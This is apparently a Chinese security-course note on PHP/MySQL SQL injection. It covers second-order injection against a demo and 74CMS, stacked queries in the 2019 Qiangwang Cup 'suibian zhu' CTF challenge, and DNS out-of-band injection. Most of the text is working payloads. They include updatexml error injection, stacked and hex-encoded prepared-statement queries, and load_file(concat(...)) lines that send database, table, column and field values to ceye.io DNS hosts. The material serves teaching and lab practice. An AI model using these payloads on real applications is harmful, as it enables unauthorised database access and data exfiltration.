045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件-cnblog
PHP-MYSQL-二次注入-DEMO&74CMS
1、DEMO-用户注册登录修改密码
1.注册新用户时,将注入的内容包含在注册的用户名后:admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
2.成功注入,并查看数据库,数据库中也存放了响应的注入语句
3.正常登录:登陆后,随便输入旧密码和新密码,点击修改后,发现注入成功,错误回显版本号
黑盒思路:分析功能有添加后对数据操作的地方(功能点)(很难测出,sql语句的符号影响,转义不能直接看出,容错处理代码中是否有,找到在哪里触发(执行置入的sql语句))
白盒思路:insert 后进入 select 或 update 的功能的代码块(源代码去审)
注入条件:插入时有转义函数或配置,后续有利用插入的数据(先插入后利用)
需要注意的条件:实现二次注入,源码中有对应的转义(magic_quotes_gpc
)或使用转义函数(addslashes
)对方的代码有转义或者开启了魔术引号开关
1.在注册用户逻辑中,首先使用addslashes 转义函数解析POST请求中的username,
2.在后方插入新用户记录的时候,执行的SQL语句则会变为INSERT INTO users (username,password) VALUES ('admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#','123456') 给username中的单引号添加转义字符\
3.在添加进数据库之后,数据库会自动删除转义字符/,方便后面执行修改密码的时候,查询对应数据,执行二次注入
4.如果不使用,转义函数,则会出现报错
举个现实例子 🌰
想象你正在往一个箱子里存纸条(数据库存数据),但箱子的管理员(PHP的
addslashes()
函数)有个规矩:如果纸条上有引号('
或"
),必须用胶带(反斜杠\
)贴住,否则管理员会拒收。比如你写了一张纸条:
小明说:"今天天气真好!"
管理员会改成:
小明说:\"今天天气真好!\"
(贴住双引号)
你的攻击场景 🎯
现在你想搞事情,往箱子里存一张纸条:
admin' and 攻击代码 #
但管理员发现单引号('
),会直接贴胶带转义成:
admin\' and 攻击代码 #
这样存入箱子后,攻击代码就被胶带封印了,无法触发。
你的破解方法 💡
于是你想了个办法: 在单引号前再加一个胶带(反斜杠) ,假装这是“合法胶带”。
输入:
admin\' and 攻击代码 #
管理员看到单引号前已经有胶带(\
),就不再贴新胶带,最终存入箱子的数据是:
admin\' and 攻击代码 #
但关键来了!
箱子(数据库)有个漏洞:它会把胶带(\
)吃掉!
所以实际存进去的纸条是:
admin' and 攻击代码 #
(单引号没被转义!)
触发攻击的时刻 💥
接下来,当有人从箱子里取出这条数据(比如用来做密码重置),直接拼接到新纸条(SQL语句)里:
UPDATE users SET password='新密码' WHERE username='admin' and 攻击代码 #'
这时,单引号(
'
)没有被胶带贴住,直接闭合了前面的username='admin'
,后面的攻击代码
就被执行了!
为什么加反斜杠(
\
)?
- 目的:骗过管理员(
addslashes()
),让它觉得单引号已经被贴胶带了,不再处理。- 结果:存入数据库后,胶带(
\
)被吃掉,单引号暴露出来。- 触发时机:后续拼接SQL时,这个单引号直接闭合语句,执行攻击代码。
2、CMS-74CMS 个人中心简历功能
注册完填写教育经历这里的在学校名称和专业名称注入:aa','fullname'=user()#
专业名称这里有字符限制,选中打开检查修改maxlength="120”值
PHP-MYSQL-堆叠注入-DEMO&CTF 强网
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
支持堆叠数据库:MYSQL MSSQL Postgresql等
1.首先在数据库操作软件中Navicat Premium 16,使用:SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));语句
这是一个选择数据的查询,从名为 'news' 的表中选择所有列,其中 id 列的值为 1
创建一个名为 'xxx' 的表,该表包含一个名为 'test' 的 VARCHAR(255) 类型的列
SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));
由于sql语句在Navicat Premium 16有特定解析,支持两个封号的语句拼接在一起执行
2.但是当该语句通过网址注入,由于php中多数执行sql语句的函数为mysqli_query()只能执行一条SQL:[http://192.168.137.1:84/sqli/new.php?id=1;CREATE TABLE xxx(test VARCHAR(255)](http://192.168.137.1:84/sqli/new.php?id=1;CREATE TABLE xxx(test VARCHAR(255)));
3.但是当php采用mysqli_multi_query
函数接收并执行sql语句的时候
堆叠注入前提条件:
1、目标存在 sql 注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条 sql 语句
在目标系统的中间层中,存在一种机制或函数,允许一次性执行多条SQL语句。这种情况通常出现在使用诸如 mysqli_multi_query()
或者 PDO::multi_query()
这样的函数时
支持堆叠数据库:MYSQL MSSQL Postgresql 等
-2019 强网杯-随便注(CTF 题型)
';show databases;
';show tables;
';show columns from 1919810931114514
;
';select flag from 1919810931114514
;
';SeT
@a=0x73656c65637420666c61672066726f6d2060313931393831303933313131
3435313460;prepare execsql from @a;execute execsql;
1、目标存在 sql 注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条 sql 语句
PHP-MYSQL-带外注入-DEMO&DNSLOG
产生原因:有部分注入点是没有回显的,所有读取也是没回显的,采用带外的形式,回显数据
0.注入条件
-
ROOT 高权限且支持 load_file()
-
secure-file-priv=设置→默认关闭,必须添加到MYsql的配置文件my.ini中
-
G:\develop\safety\phpstudy_pro\Extensions\MySQL5.7.26my.ini
-
有部分注入点是没有回显的,所有读取也是没回显的,采用带外
- secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。
- 如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
- 如果没有设置,MySQL 将默认使用空值,表示禁用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE。
例如, - 如果 secure_file_priv 被设置为 f:\,那么在执行 LOAD DATA INFILE 或 SELECT ... INTO OUTFILE 时,只允许读写位于 f:\ 目录下的文件。
http://demo01/sqli/new.php?id=1 union select 1,2,3,4,load_file('d:\1.txt'),6
1.使用平台
http://ceye.io(适用dnslog打不开的场景下)只需要记住每次登录,分配的identifier即可
http://www.dnslog.cn
2.带外应用场景:
解决不回显,反向连接,SQL注入,命令执行,SSRF等
-
SQL注入
select load_file(concat('\\',(select database()),'.wk0crf.ceye.io\aa'));
and (select load_file(concat('//',(select database()),'.wk0crf.ceye.io/abc'))) -
查询当前数据库
-
查询其他数据库
id=1 and load_file(concat("\\",(select schema_name from information_schema.schemata limit 0,1),".wk0crf.ceye.io\xxx.txt"))
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名
limit 2,1 查询第三个数据库名
""" -
查询当前数据库dome01中第一个表名
id=1 and load_file(concat("\\",(select table_name from information_schema.tables where table_schema='dome01' limit 0,1 ),".wk0crf.ceye.io/abc"))
"""由
于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个表名
limit 1,1 查询第二个表名
limit 2,1 查询第三个表名"""
-
查询security数据库emails表下第一个列名
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
- 查询字段值 数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))